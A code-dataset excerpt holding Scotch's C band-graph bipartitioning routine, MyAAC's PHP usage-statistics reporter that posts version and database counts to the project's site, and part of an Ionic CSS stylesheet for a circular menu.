const Gnum * restrict const orgvelotax = orggrafptr->s.velotax;
const Gnum * restrict const orgedgetax = orggrafptr->s.edgetax;
const Gnum * restrict const orgedlotax = orggrafptr->s.edlotax;
GraphPart * restrict const orgparttax = orggrafptr->parttax;
Gnum * restrict const orgfrontab = orggrafptr->frontab;
if (orggrafptr->fronnbr == 0) /* If no separator vertices, apply strategy to full (original) graph */
return (bgraphBipartSt (orggrafptr, paraptr->stratorg));
distmax = (Gnum) paraptr->distmax;
if (distmax < 1) /* Always at least one layer of vertices around separator */
distmax = 1;
if (memAllocGroup ((void **) (void *)
&queutab, (size_t) (orggrafptr->s.vertnbr * sizeof (Gnum)),
&orgindxtax, (size_t) (orggrafptr->s.vertnbr * sizeof (Gnum)), NULL) == NULL) {
errorPrint ("bgraphBipartBd: out of memory (1)");
return (1);
}
memSet (orgindxtax, ~0, orggrafptr->s.vertnbr * sizeof (Gnum)); /* Initialize index array */
orgindxtax -= orggrafptr->s.baseval;
queuheadval = orggrafptr->fronnbr; /* First layer is vertices in frontier array */
for (orgfronnum = 0, bndvertnnd = orggrafptr->s.baseval; /* Flag vertices belonging to frontier as band vertices */
orgfronnum < queuheadval; orgfronnum ++) {
Gnum orgvertnum;
orgvertnum = orgfrontab[orgfronnum];
orgindxtax[orgvertnum] = bndvertnnd ++;
queutab[orgfronnum] = orgvertnum; /* Copy frontier array in queue array */
}
bndvelosum = 0;
bndedgenbr = 0; /* Estimate upper bound on the number of edges */
bndcompsize1 = 0;
bndcompload1 = 0;
queutailval = 0;
bndvlvlnum = 0; /* Assume first layer is last layer */
while (distmax -- > 0) { /* For all passes except the last one */
Gnum orgvertnum;
Gnum orgdistval;
bndvlvlnum = queuheadval; /* Record start of last layer */
while (queutailval < bndvlvlnum) { /* For all vertices in queue */
Gnum orgvertnum;
Gnum orgedgenum;
Gnum orgpartval;
orgvertnum = queutab[queutailval ++];
#ifdef SCOTCH_DEBUG_BGRAPH2
if ((orgvertnum < orggrafptr->s.baseval) || (orgvertnum >= orggrafptr->s.vertnnd)) {
errorPrint ("bgraphBipartBd: internal error (1)");
return (1);
}
#endif /* SCOTCH_DEBUG_BGRAPH2 */
bndedgenbr += orgvendtax[orgvertnum] - orgverttax[orgvertnum]; /* Exact number of edges */
orgpartval = orgparttax[orgvertnum];
bndcompsize1 += orgpartval; /* Count vertices in part 1 */
if (orgvelotax != NULL) {
Gnum orgveloval;
orgveloval = orgvelotax[orgvertnum];
bndvelosum += orgveloval;
bndcompload1 += orgveloval * orgpartval;
}
for (orgedgenum = orgverttax[orgvertnum];
orgedgenum < orgvendtax[orgvertnum]; orgedgenum ++) {
Gnum orgvertend;
orgvertend = orgedgetax[orgedgenum];
if (orgindxtax[orgvertend] == ~0) { /* If vertex not visited yet */
orgindxtax[orgvertend] = bndvertnnd ++; /* Flag it as enqueued */
queutab[queuheadval ++] = orgvertend; /* Enqueue it */
}
}
}
}
bndedgenbr += queuheadval - queutailval; /* As many edges from anchors as remaining vertices */
while (queutailval < queuheadval) { /* Process vertices in last layer */
Gnum orgvertnum;
Gnum orgpartval;
orgvertnum = queutab[queutailval ++];
#ifdef SCOTCH_DEBUG_BGRAPH2
if ((orgvertnum < orggrafptr->s.baseval) || (orgvertnum >= orggrafptr->s.vertnnd)) {
errorPrint ("bgraphBipartBd: internal error (2)");
return (1);
}
#endif /* SCOTCH_DEBUG_BGRAPH2 */
bndedgenbr += orgvendtax[orgvertnum] - orgverttax[orgvertnum]; /* Upper bound on number of edges, including anchor edge */
orgpartval = orgparttax[orgvertnum];
bndcompsize1 += orgpartval; /* Count vertices in part 1 */
if (orgvelotax != NULL) {
Gnum orgveloval;
orgveloval = orgvelotax[orgvertnum];
bndvelosum += orgveloval;
bndcompload1 += orgveloval * orgpartval;
}
}
bndvertnbr = bndvertnnd - orggrafptr->s.baseval;
if (orgvelotax == NULL) {
bndvelosum = bndvertnbr;
bndcompload1 = bndcompsize1;
}
if ((bndcompsize1 >= (orggrafptr->s.vertnbr - orggrafptr->compsize0)) || /* If either part has all of its vertices in band, use plain graph instead */
((bndvertnbr - bndcompsize1) >= orggrafptr->compsize0)) {
memFree (queutab);
return (bgraphBipartSt (orggrafptr, paraptr->stratorg));
} /* TRICK: since always at least one missing vertex per part, there is room for anchor vertices */
queutab[bndvertnbr] = /* Anchor vertices do not have original vertex numbers */
queutab[bndvertnbr + 1] = -1;
memSet (&bndgrafdat, 0, sizeof (Bgraph));
bndgrafdat.s.flagval = GRAPHFREETABS | GRAPHVERTGROUP | GRAPHEDGEGROUP | BGRAPHHASANCHORS; /* All Bgraph arrays are non-freeable by bgraphExit() */
bndgrafdat.s.baseval = orggrafptr->s.baseval;
bndgrafdat.s.vertnbr = bndvertnbr += 2; /* "+ 2" for anchor vertices */
bndgrafdat.s.vertnnd = bndvertnnd + 2;
bndveexnbr = (orggrafptr->veextax != NULL) ? bndvertnbr : 0;
if (memAllocGroup ((void **) (void *) /* Do not allocate vnumtax but keep queutab instead */
&bndgrafdat.s.verttax, (size_t) ((bndvertnbr + 1) * sizeof (Gnum)),
&bndgrafdat.s.velotax, (size_t) (bndvertnbr * sizeof (Gnum)),
&bndveextax, (size_t) (bndveexnbr * sizeof (Gnum)),
&bndgrafdat.frontab, (size_t) (bndvertnbr * sizeof (Gnum)),
&bndgrafdat.parttax, (size_t) (bndvertnbr * sizeof (GraphPart)), NULL) == NULL) {
errorPrint ("bgraphBipartBd: out of memory (2)");
memFree (queutab);
return (1);
}
bndgrafdat.parttax -= orggrafptr->s.baseval; /* From now on we should free a Bgraph and not a Graph */
bndgrafdat.s.verttax -= orggrafptr->s.baseval;
bndgrafdat.s.vendtax = bndgrafdat.s.verttax + 1; /* Band graph is compact */
bndgrafdat.s.velotax -= orggrafptr->s.baseval;
bndgrafdat.s.vnumtax = queutab - orggrafptr->s.baseval; /* TRICK: re-use queue array as vertex number array since vertices taken in queue order; will not be freed as graph vertex arrays are said to be grouped */
bndgrafdat.s.velosum = orggrafptr->s.velosum;
bndgrafdat.s.velotax[bndvertnnd] = orggrafptr->compload0 - (bndvelosum - bndcompload1); /* Set loads of anchor vertices */
bndgrafdat.s.velotax[bndvertnnd + 1] = orggrafptr->s.velosum - orggrafptr->compload0 - bndcompload1;
if (bndveexnbr != 0) {
bndveextax -= orggrafptr->s.baseval;
bndgrafdat.veextax = bndveextax;
}
else
bndveextax = NULL;
if (memAllocGroup ((void **) (void *)
&bndgrafdat.s.edgetax, (size_t) (bndedgenbr * sizeof (Gnum)),
&bndgrafdat.s.edlotax, (size_t) (bndedgenbr * sizeof (Gnum)), NULL) == NULL) {
errorPrint ("bgraphBipartBd: out of memory (3)");
bgraphExit (&bndgrafdat);
memFree (queutab);
return (1);
}
bndgrafdat.s.edgetax -= orggrafptr->s.baseval;
bndgrafdat.s.edlotax -= orggrafptr->s.baseval;
bndedgetax = bndgrafdat.s.edgetax;
bndedlotax = bndgrafdat.s.edlotax;
bndvnumtax = bndgrafdat.s.vnumtax;
for (bndvertnum = bndedgenum = orggrafptr->s.baseval, bnddegrmax = bndedlosum = bndcommgainextn = bndcommgainextn1 = 0;
bndvertnum < bndvlvlnum; bndvertnum ++) { /* Fill index array for vertices not belonging to last level */
Gnum orgvertnum;
GraphPart orgpartval;
Gnum orgedgenum;
Gnum orgedloval;
Gnum bnddegrval;
orgvertnum = bndvnumtax[bndvertnum];
orgpartval = orgparttax[orgvertnum];
bndgrafdat.s.verttax[bndvertnum] = bndedgenum;
bndgrafdat.s.velotax[bndvertnum] = (orgvelotax != NULL) ? orgvelotax[orgvertnum] : 1;
bndgrafdat.parttax[bndvertnum] = orgpartval;
if (bndveextax != NULL) {
Gnum orgveexval;
orgveexval = orggrafptr->veextax[orgvertnum];
bndveextax[bndvertnum] = orgveexval;
bndcommgainextn += orgveexval;
bndcommgainextn1 += orgveexval * (Gnum) orgpartval;
}
orgedloval = 1; /* Assume unity edge loads if not present */
for (orgedgenum = orgverttax[orgvertnum]; /* All edges of first levels are kept */
orgedgenum < orgvendtax[orgvertnum]; orgedgenum ++, bndedgenum ++) {
#ifdef SCOTCH_DEBUG_BGRAPH2
if ((bndedgenum >= (bndedgenbr + orggrafptr->s.baseval)) ||
(orgindxtax[orgedgetax[orgedgenum]] < 0)) {
errorPrint ("bgraphBipartBd: internal error (3)");
return (1);
}
#endif /* SCOTCH_DEBUG_BGRAPH2 */
if (orgedlotax != NULL)
orgedloval = orgedlotax[orgedgenum];
bndedlosum += orgedloval;
bndedgetax[bndedgenum] = orgindxtax[orgedgetax[orgedgenum]];
bndedlotax[bndedgenum] = orgedloval;
}
bnddegrval = bndedgenum - bndgrafdat.s.verttax[bndvertnum];
if (bnddegrmax < bnddegrval)
bnddegrmax = bnddegrval;
}
bndeancnbr = 0;
for ( ; bndvertnum < bndvertnnd; bndvertnum ++) { /* Fill index array for vertices belonging to last level */
Gnum orgvertnum;
Gnum orgedgenum;
GraphPart orgpartval;
Gnum bnddegrval;
Gnum orgedloval;
Gnum ancedloval; /* Accumulated edge load for anchor edge */
orgvertnum = bndvnumtax[bndvertnum];
orgpartval = orgparttax[orgvertnum];
bndgrafdat.s.verttax[bndvertnum] = bndedgenum;
bndgrafdat.s.velotax[bndvertnum] = (orgvelotax != NULL) ? orgvelotax[orgvertnum] : 1;
bndgrafdat.parttax[bndvertnum] = orgpartval; /* Record part for vertices of last level */
if (bndveextax != NULL) {
Gnum orgveexval;
orgveexval = orggrafptr->veextax[orgvertnum];
bndveextax[bndvertnum] = orgveexval;
bndcommgainextn += orgveexval;
bndcommgainextn1 += orgveexval * (Gnum) orgpartval;
}
ancedloval = 0;
orgedloval = 1; /* Assume unity edge loads if not present */
for (orgedgenum = orgverttax[orgvertnum]; /* Keep only band edges */
orgedgenum < orgvendtax[orgvertnum]; orgedgenum ++) {
Gnum bndvertend;
#ifdef SCOTCH_DEBUG_BGRAPH2
if (bndedgenum >= (bndedgenbr + orggrafptr->s.baseval)) {
errorPrint ("bgraphBipartBd: internal error (4)");
return (1);
}
#endif /* SCOTCH_DEBUG_BGRAPH2 */
if (orgedlotax != NULL)
orgedloval = orgedlotax[orgedgenum];
bndedlosum += orgedloval; /* Normal arcs are accounted for twice; anchor arcs only once */
bndvertend = orgindxtax[orgedgetax[orgedgenum]];
if (bndvertend != ~0) {
bndedgetax[bndedgenum] = bndvertend;
bndedlotax[bndedgenum ++] = orgedloval;
}
else
ancedloval += orgedloval; /* Accumulate loads of edges linking to anchor vertex */
}
bndedlosum += ancedloval; /* Account for anchor edges a second time */
if (ancedloval > 0) { /* If vertex is connected to rest of part */
bndedlotax[bndedgenum] = ancedloval;
bndedgetax[bndedgenum ++] = bndvertnnd + (Gnum) orgpartval; /* Add anchor edge to proper anchor vertex */
bndeancnbr ++;
}
bnddegrval = bndedgenum - bndgrafdat.s.verttax[bndvertnum];
if (bnddegrmax < bnddegrval)
bnddegrmax = bnddegrval;
}
bndgrafdat.parttax[bndvertnnd] = 0; /* Set parts of anchor vertices */
bndgrafdat.parttax[bndvertnnd + 1] = 1;
bndgrafdat.s.edlosum = bndedlosum;
bndgrafdat.s.verttax[bndvertnnd] = bndedgenum; /* Mark end of regular edge array and start of first anchor edge array */
bndedgetmp = bndedgenum + bndeancnbr;
#ifdef SCOTCH_DEBUG_BGRAPH2
if ((bndedgetmp - 1) >= (bndedgenbr + orggrafptr->s.baseval)) {
errorPrint ("bgraphBipartBd: internal error (5)");
return (1);
}
#endif /* SCOTCH_DEBUG_BGRAPH2 */
bndgrafdat.s.edgenbr = bndedgetmp - orggrafptr->s.baseval;
bndgrafdat.s.verttax[bndvertnnd + 2] = bndedgetmp; /* Mark end of edge array with anchor vertices */
for (bndvertnum = bndvlvlnum; bndvertnum < bndvertnnd; bndvertnum ++) { /* Fill anchor edge arrays */
Gnum orgvertnum;
orgvertnum = bndvnumtax[bndvertnum];
if (bndgrafdat.s.verttax[bndvertnum + 1] > bndgrafdat.s.verttax[bndvertnum]) { /* If vertex is not isolated */
Gnum bndedgelst; /* Number of last edge */
Gnum bndvertend;
bndedgelst = bndgrafdat.s.verttax[bndvertnum + 1] - 1;
bndvertend = bndedgetax[bndedgelst]; /* Get last neighbor of its edge sub-array */
if (bndvertend >= bndvertnnd) { /* If it is an anchor */
Gnum bndedloval;
bndedloval = bndedlotax[bndedgelst];
bndedlosum += bndedloval;
if (bndvertend == bndvertnnd) { /* Add edge from proper anchor */
bndedgetax[bndedgenum] = bndvertnum;
bndedlotax[bndedgenum ++] = bndedloval;
}
else {
bndedgetax[-- bndedgetmp] = bndvertnum;
bndedlotax[bndedgetmp] = bndedloval;
}
}
}
}
bndgrafdat.s.verttax[bndvertnnd + 1] = bndedgenum; /* Mark end of edge array of first anchor and start of second */
#ifdef SCOTCH_DEBUG_BGRAPH2
if (bndedgenum != bndedgetmp) {
errorPrint ("bgraphBipartBd: internal error (6)");
return (1);
}
#endif /* SCOTCH_DEBUG_BGRAPH2 */
if ((bndedgenum == bndgrafdat.s.verttax[bndvertnnd]) || /* If any of the anchor edges is isolated */
(bndedgenum == bndgrafdat.s.verttax[bndvertnnd + 2])) {
bgraphExit (&bndgrafdat); /* Free all band graph related data */
memFree (queutab);
return (bgraphBipartSt (orggrafptr, paraptr->stratorg)); /* Work on original graph */
}
if (bnddegrmax < (bndgrafdat.s.verttax[bndvertnnd + 1] - bndgrafdat.s.verttax[bndvertnnd]))
bnddegrmax = (bndgrafdat.s.verttax[bndvertnnd + 1] - bndgrafdat.s.verttax[bndvertnnd]);
if (bnddegrmax < (bndgrafdat.s.verttax[bndvertnnd + 2] - bndgrafdat.s.verttax[bndvertnnd + 1]))
bnddegrmax = (bndgrafdat.s.verttax[bndvertnnd + 2] - bndgrafdat.s.verttax[bndvertnnd + 1]);
bndgrafdat.s.degrmax = bnddegrmax;
bndedlooftval = bndedlotax - bndedgetax;
bndgrafdat.s.edgetax = (Gnum *) memRealloc (bndedgetax + bndgrafdat.s.baseval, (bndedlooftval + bndgrafdat.s.edgenbr) * sizeof (Gnum)) - bndgrafdat.s.baseval;
bndgrafdat.s.edlotax = bndgrafdat.s.edgetax + bndedlooftval; /* Use old index into old array as new index */
bndedgetax = bndgrafdat.s.edgetax;
bndedlotax = bndgrafdat.s.edlotax;
for (bndfronnum = 0, bndvertnum = orggrafptr->s.baseval; /* Fill band frontier array with first vertex indices as they make the separator */
bndfronnum < orggrafptr->fronnbr; bndfronnum ++, bndvertnum ++)
bndgrafdat.frontab[bndfronnum] = bndvertnum;
if (bndveextax != NULL) {
Gnum bndcommloadintn;
Gnum bndfronnnd;
Gnum bndvertnum;
Gnum bndedgenum;
Gnum bndedloval;
bndedloval = 1; /* Assume unity edge weights */
bndcommloadintn = 0;
for (bndvertnum = orggrafptr->s.baseval, bndfronnnd = bndvertnum + orggrafptr->fronnbr; /* Compute communication load at frontier */
bndvertnum < bndfronnnd; bndvertnum ++) {
Gnum bndpartval;
bndpartval = (Gnum) bndgrafdat.parttax[bndvertnum];
if (bndpartval != 0) /* Process only frontier vertices in part 0 */
continue;
for (bndedgenum = bndgrafdat.s.verttax[bndvertnum]; bndedgenum < bndgrafdat.s.vendtax[bndvertnum]; bndedgenum ++) {
Gnum bndpartend;
bndpartend = (Gnum) bndgrafdat.parttax[bndedgetax[bndedgenum]];
bndedloval = bndedlotax[bndedgenum];
bndcommloadintn += bndedloval * bndpartend;
}
}
bndcommloadintn *= orggrafptr->domndist;
bndveextax[bndvertnnd + 1] = (orggrafptr->commload - orggrafptr->commloadextn0 - bndcommloadintn) - bndcommgainextn1;
bndveextax[bndvertnnd] = (orggrafptr->commload - orggrafptr->commloadextn0 - bndcommloadintn) - bndcommgainextn + bndcommgainextn1 + orggrafptr->commgainextn;
}
bndgrafdat.fronnbr = orggrafptr->fronnbr;
bndgrafdat.compload0 = orggrafptr->compload0;
bndgrafdat.compload0min = orggrafptr->compload0min;
bndgrafdat.compload0max = orggrafptr->compload0max;
bndgrafdat.compload0avg = orggrafptr->compload0avg;
bndgrafdat.compload0dlt = orggrafptr->compload0dlt;
bndgrafdat.compsize0 = bndvertnbr - bndcompsize1 - 1; /* "- 1" for anchor vertex in part 0 */
bndgrafdat.commload = orggrafptr->commload;
bndgrafdat.commloadextn0 = orggrafptr->commloadextn0;
bndgrafdat.commgainextn = orggrafptr->commgainextn;
bndgrafdat.commgainextn0 = orggrafptr->commgainextn0;
bndgrafdat.domndist = orggrafptr->domndist;
bndgrafdat.domnwght[0] = orggrafptr->domnwght[0];
bndgrafdat.domnwght[1] = orggrafptr->domnwght[1];
bndgrafdat.vfixload[0] = orggrafptr->vfixload[0];
bndgrafdat.vfixload[1] = orggrafptr->vfixload[1];
bndgrafdat.bbalval = orggrafptr->bbalval;
bndgrafdat.levlnum = orggrafptr->levlnum;
#ifdef SCOTCH_DEBUG_BGRAPH2
if ((graphCheck (&bndgrafdat.s) != 0) || /* Check band graph consistency */
(bgraphCheck (&bndgrafdat) != 0)) {
errorPrint ("bgraphBipartBd: inconsistent band graph data");
bgraphExit (&bndgrafdat);
memFree (queutab);
return (1);
}
#endif /* SCOTCH_DEBUG_BGRAPH2 */
if (bgraphBipartSt (&bndgrafdat, paraptr->stratbnd) != 0) { /* Apply strategy to band graph */
errorPrint ("bgraphBipartBd: cannot bipartition band graph");
bgraphExit (&bndgrafdat);
memFree (queutab);
return (1);
}
if (bndgrafdat.parttax[bndvertnnd] == /* If band graph was too small and anchors went to the same part, apply strategy on full graph */
bndgrafdat.parttax[bndvertnnd + 1]) {
bgraphExit (&bndgrafdat);
memFree (queutab);
return (bgraphBipartSt (orggrafptr, paraptr->stratorg));
}
orggrafptr->compload0 = bndgrafdat.compload0;
orggrafptr->compload0dlt = bndgrafdat.compload0dlt;
orggrafptr->commload = bndgrafdat.commload;
orggrafptr->commgainextn = bndgrafdat.commgainextn;
orggrafptr->bbalval = bndgrafdat.bbalval;
if (bndgrafdat.parttax[bndvertnnd] != 0) { /* If anchors swapped parts, swap all parts of original vertices */
Gnum orgvertnum;
orggrafptr->compsize0 = orggrafptr->s.vertnbr - orggrafptr->compsize0 - bndcompsize1 + bndgrafdat.compsize0 - 1; /* "- 1" for anchor 0 */
for (orgvertnum = orggrafptr->s.baseval; orgvertnum < orggrafptr->s.vertnnd; orgvertnum ++)
orgparttax[orgvertnum] ^= 1;
}
else
orggrafptr->compsize0 = orggrafptr->compsize0 - (bndvertnbr - bndcompsize1) + bndgrafdat.compsize0 + 1; /* "+ 1" for anchor 0 */
for (bndvertnum = bndgrafdat.s.baseval; bndvertnum < bndvertnnd; bndvertnum ++) /* Update part array of full graph */
orgparttax[bndvnumtax[bndvertnum]] = bndgrafdat.parttax[bndvertnum];
for (bndfronnum = orgfronnum = ancfronnum = 0; /* Update frontier array of full graph */
bndfronnum < bndgrafdat.fronnbr; bndfronnum ++) {
Gnum bndvertnum;
Gnum orgvertnum;
bndvertnum = bndgrafdat.frontab[bndfronnum];
orgvertnum = bndvnumtax[bndvertnum];
if (orgvertnum != -1) /* If frontier vertex is not an anchor vertex */
orgfrontab[orgfronnum ++] = orgvertnum; /* Record it as original frontier vertex */
else
bndgrafdat.frontab[ancfronnum ++] = bndvertnum; /* Else record it for future processing */
}
while (ancfronnum > 0) { /* For all recorded frontier anchor vertices */
Gnum bndvertnum; /* Index of frontier anchor vertex in band graph */
GraphPart ancpartval;
bndvertnum = bndgrafdat.frontab[-- ancfronnum];
ancpartval = bndgrafdat.parttax[bndvertnum];
for (bndedgenum = bndgrafdat.s.verttax[bndvertnum];
bndedgenum < bndgrafdat.s.vendtax[bndvertnum]; bndedgenum ++) {
Gnum bndvertend; /* Index of neighbor of anchor vertex in band graph */
Gnum orgvertnum; /* Index of neighbor of anchor vertex in original graph */
Gnum orgedgenum;
bndvertend = bndedgetax[bndedgenum];
if (bndgrafdat.parttax[bndvertend] == ancpartval) /* If neighbor is in same part as anchor, skip to next */
continue;
orgvertnum = bndvnumtax[bndvertend];
for (orgedgenum = orgverttax[orgvertnum]; /* For all neighbors of neighbor */
orgedgenum < orgvendtax[orgvertnum]; orgedgenum ++) {
Gnum orgvertend;
orgvertend = orgedgetax[orgedgenum]; /* Get end vertex in original graph */
if (orgindxtax[orgvertend] == ~0) { /* If vertex never considered before */
#ifdef SCOTCH_DEBUG_BGRAPH2
if (orgparttax[orgvertend] != ancpartval) { /* Original vertex should always be in same part as anchor */
errorPrint ("bgraphBipartBd: internal error (7)");
return (1);
}
#endif /* SCOTCH_DEBUG_BGRAPH2 */
orggrafptr->frontab[orgfronnum ++] = orgvertend; /* Add vertex to frontier array */
orgindxtax[orgvertend] = 0; /* Flag vertex as already enqueued */
}
}
}
}
orggrafptr->fronnbr = orgfronnum;
bgraphExit (&bndgrafdat); /* Free band graph structures */
memFree (queutab);
#ifdef SCOTCH_DEBUG_BGRAPH2
if (bgraphCheck (orggrafptr) != 0) {
errorPrint ("bgraphBipartBd: inconsistent graph data");
return (1);
}
#endif /* SCOTCH_DEBUG_BGRAPH2 */
return (0);
}
| HopeFOAM/HopeFOAM | ThirdParty-0.1/scotch_6.0.3/src/libscotch/bgraph_bipart_bd.c | C | gpl-3.0 | 29,153 |
<?php
/**
* Usage Statistics
*
* @package MyAAC
* @author Slawkens <[email protected]>
* @copyright 2019 MyAAC
* @link https://my-aac.org
*/
defined('MYAAC') or die('Direct access not allowed!');
class Usage_Statistics {
private static $report_url = 'https://my-aac.org/report_usage.php';
public static function report() {
$data = json_encode(self::getStats());
$options = array(
'http' => array(
'header' => 'Content-type: application/json' . "\r\n"
. 'Content-Length: ' . strlen($data) . "\r\n",
'content' => $data
)
);
$context = stream_context_create($options);
$result = file_get_contents(self::$report_url, false, $context);
return $result !== false;
}
public static function getStats() {
global $config, $db;
$ret = array();
$ret['unique_id'] = hash('sha1', $config['server_path']);
$ret['server_os'] = php_uname('s') . ' ' . php_uname('r');
$ret['myaac_version'] = MYAAC_VERSION;
$ret['myaac_db_version'] = DATABASE_VERSION;
if($db->hasTable('server_config')) {
$query = $db->query('SELECT `value` FROM `server_config` WHERE `config` = ' . $db->quote('database_version'));
if($query->rowCount() == 1) {
$query = $query->fetch();
$ret['otserv_db_version'] = $query['value'];
}
}
$ret['client_version'] = $config['client'];
$ret['php_version'] = phpversion();
$query = $db->query('SELECT VERSION() as `version`;');
if($query->rowCount() == 1) {
$query = $query->fetch();
$ret['mysql_version'] = $query['version'];
}
$query = $db->query('SELECT SUM(ROUND(((DATA_LENGTH + INDEX_LENGTH) / 1024 ), 0)) AS "size"
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_SCHEMA = "' . $config['database_name'] . '";');
if($query->rowCount() == 1) {
$query = $query->fetch();
$ret['database_size'] = $query['size'];
}
$ret['views_counter'] = getDatabaseConfig('views_counter');
$query = $db->query('SELECT COUNT(`id`) as `size` FROM `accounts`;');
if($query->rowCount() == 1) {
$query = $query->fetch();
$ret['accounts_size'] = $query['size'];
}
$query = $db->query('SELECT COUNT(`id`) as `size` FROM `players`;');
if($query->rowCount() == 1) {
$query = $query->fetch();
$ret['players_size'] = $query['size'];
}
$query = $db->query('SELECT COUNT(`id`) as `size` FROM `' . TABLE_PREFIX . 'monsters`;');
if($query->rowCount() == 1) {
$query = $query->fetch();
$ret['monsters_size'] = $query['size'];
}
$query = $db->query('SELECT COUNT(`id`) as `size` FROM `' . TABLE_PREFIX . 'spells`;');
if($query->rowCount() == 1) {
$query = $query->fetch();
$ret['spells_size'] = $query['size'];
}
$ret['locales'] = get_locales();
$ret['plugins'] = array();
foreach(get_plugins() as $plugin) {
$string = file_get_contents(BASE . 'plugins/' . $plugin . '.json');
$plugin_info = json_decode($string, true);
if($plugin_info != false) {
if(isset($plugin_info['version'])) {
$ret['plugins'][$plugin] = $plugin_info['version'];
}
}
}
$ret['templates'] = get_templates();
$ret['date_timezone'] = $config['date_timezone'];
$ret['backward_support'] = $config['backward_support'];
$cache_engine = strtolower($config['cache_engine']);
if($cache_engine == 'auto') {
$cache_engine = Cache::detect();
}
$ret['cache_engine'] = $cache_engine;
return $ret;
}
} | slawkens/myaac | system/libs/usage_statistics.php | PHP | gpl-3.0 | 3,356 |
<style>
ion-content{
background-color: #00091a;
color:#e6eeff;
}
ion-card{
text-align: right;
}
/*global CSS*/
#gems{
background-color: inherit;
}
.more {
float: none;
}
.menu{
transform: translate(-50%, 55%);
}
/*small devices*/
@media (min-width: 320px) and (max-width: 480px) {
.more{
margin-top: 20vh;
}
.container{
margin-top: 20vh;
}
#avatar{
float: center;
height:50px;
width:50px;
margin-left: 19vw;
margin-top: 2vh;
border-radius: 50%;
}
.menu {
position: relative;
margin-top: 25%;
left: 50%;
width: 0px;
}
.toggle + .style {
width: 190px;
height: 190px;
border-radius: 50%;
cursor: pointer;
transform: translate(-50%, -50%) scale(1);
z-index: 5;
display: block;
max-width: 50vw;
margin-bottom: 0;
background-size: 200px 200px;
background-position: center;
background-repeat: no-repeat;
color: #fff;
font-size: 2.5em;
text-align: center;
-webkit-transition: all .8s;
-moz-transition: all .8s;
-o-transition: all .8s;
-ms-transition: all .8s;
transition: all .8s;
}
.menu p{
max-width: 20vw;
text-align: center;
margin: 0 auto;
line-height: 25px;
padding-top: 30px;
font-weight: 300;
font-size: 1.5em;
}
.toggle {
display: none;
}
.toggle + .style:hover{
-webkit-box-shadow: 0px 1px 20px 0px rgba(0, 0, 0, .7);
-moz-box-shadow: 0px 1px 20px 0px rgba(0, 0, 0, .7);
-ms-box-shadow: 0px 1px 20px 0px rgba(0, 0, 0, .7);
-o-box-shadow: 0px 1px 20px 0px rgba(0, 0, 0, .7);
box-shadow: 0px 1px 20px 0px rgba(0, 0, 0, .7);
}
.toggle:checked + .style {
transform: translate(-50%, -50%) scale(.5);
}
.menu input[type=checkbox] + label:before {
content: "";
position: absolute;
}
.toggle + .style:before, .toggle + .style:after {
content: "";
position: absolute;
margin: -3px;
border-radius:5px;
transition: all 0.3s;
}
.toggle + .style:before {
width: 30px;
height: 0px;
left: 10px;
top: 25px;
}
.toggle + .style:after {
width: 0px;
height: 30px;
left: 25px;
top: 10px;
}
.toggle:checked + .style:before, .toggle:checked + .style:after {
transform: rotate(135deg);
}
.toggle ~ .tab {
position: absolute;
background: #008DFF;
color: #fff;
width: 100px;
height: 100px;
left: 0px;
top: 0px;
transform: translate(-50%, -50%) scale(0);
transition: all 0.3s;
opacity: 0;
border-radius: 50%;
}
.toggle:checked ~ .tab {
opacity: 1;
transform: translate(-50%, -50%) scale(1);
}
.menu > .toggle:checked ~ .tab:nth-of-type(1) {
top: -110px;
left: 0px;
transition-delay: 0s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(2) {
top: -60px;
left: 110px;
transition-delay: 0.125s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(3) {
top: 50px;
left: 110px;
transition-delay: 0.25s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(4) {
top: 100px;
left: 0px;
transition-delay: 0.375s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(5) {
top: 45px;
left: -100px;
transition-delay: 0.5s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(6) {
top: -70px;
left: -100px;
transition-delay: 0.625s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(7) {
top: 0px;
left: -133.33333px;
transition-delay: 0.75s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(8) {
top: -94.2809px;
left: -94.2809px;
transition-delay: 0.875s;
}
#nickname{
float: right;
color: black;
font-size: 1.3em;
}
#conn_status{
margin-top:3vh;
margin-left: 21vw;
height: 5vh;
width: 10vw;
float: left;
}
#gems{
margin-top:3vh;
font-size: 4vh;
float: left;
margin-left: 1vw;
}
#gem-icon{
margin-top:3vh;
float: left;
height: 5vh;
width: 10vw;
}
hr{
margin-top:5vh;
}
}
@media (min-width: 481px) and (max-width: 767px) {
.more{
float: none;
margin-top: 20vh;
}
.container{
margin-top: 20vh;
}
#avatar{
float: center;
height:80px;
width:80px;
margin-left: 24vw;
margin-top: 2vh;
border-radius: 50%;
}
#style{
background-size: 100% 100%;
}
.menu {
position: relative;
margin-top: 25%;
left: 50%;
width: 0px;
transform: translate(-50%, 55%);
}
.toggle + .style {
width: 200px;
height: 200px;
border-radius: 50%;
cursor: pointer;
transform: translate(-50%, -50%) scale(1);
z-index: 5;
display: block;
max-width: 50vw;
margin-bottom: 100px;
background-position: center;
color: #fff;
font-size: 2.5em;
padding-top: 40px;
text-align: center;
-webkit-transition: all .8s;
-moz-transition: all .8s;
-o-transition: all .8s;
-ms-transition: all .8s;
transition: all .8s;
}
.menu p{
max-width: 20vw;
text-align: center;
margin: 0 auto;
line-height: 25px;
padding-top: 30px;
font-weight: 300;
font-size: 1.5em;
}
.toggle + .style:hover{
-webkit-box-shadow: 0px 1px 20px 0px rgba(0, 0, 0, .7);
-moz-box-shadow: 0px 1px 20px 0px rgba(0, 0, 0, .7);
-ms-box-shadow: 0px 1px 20px 0px rgba(0, 0, 0, .7);
-o-box-shadow: 0px 1px 20px 0px rgba(0, 0, 0, .7);
box-shadow: 0px 1px 20px 0px rgba(0, 0, 0, .7);
}
.toggle:checked + .style {
transform: translate(-50%, -50%) scale(.5);
}
.menu input[type=checkbox] + label:before {
content: "";
position: absolute;
}
.toggle + .style:before, .toggle + .style:after {
content: "";
position: absolute;
margin: -3px;
border-radius:5px;
transition: all 0.3s;
}
.toggle + .style:before {
width: 30px;
height: 0px;
left: 10px;
top: 25px;
}
.toggle + .style:after {
width: 0px;
height: 30px;
left: 25px;
top: 10px;
}
.toggle:checked + .style:before, .toggle:checked + .style:after {
transform: rotate(135deg);
}
.toggle ~ .tab {
position: absolute;
background: #008DFF;
color: #fff;
width: 100px;
height: 100px;
left: 0px;
top: 10px;
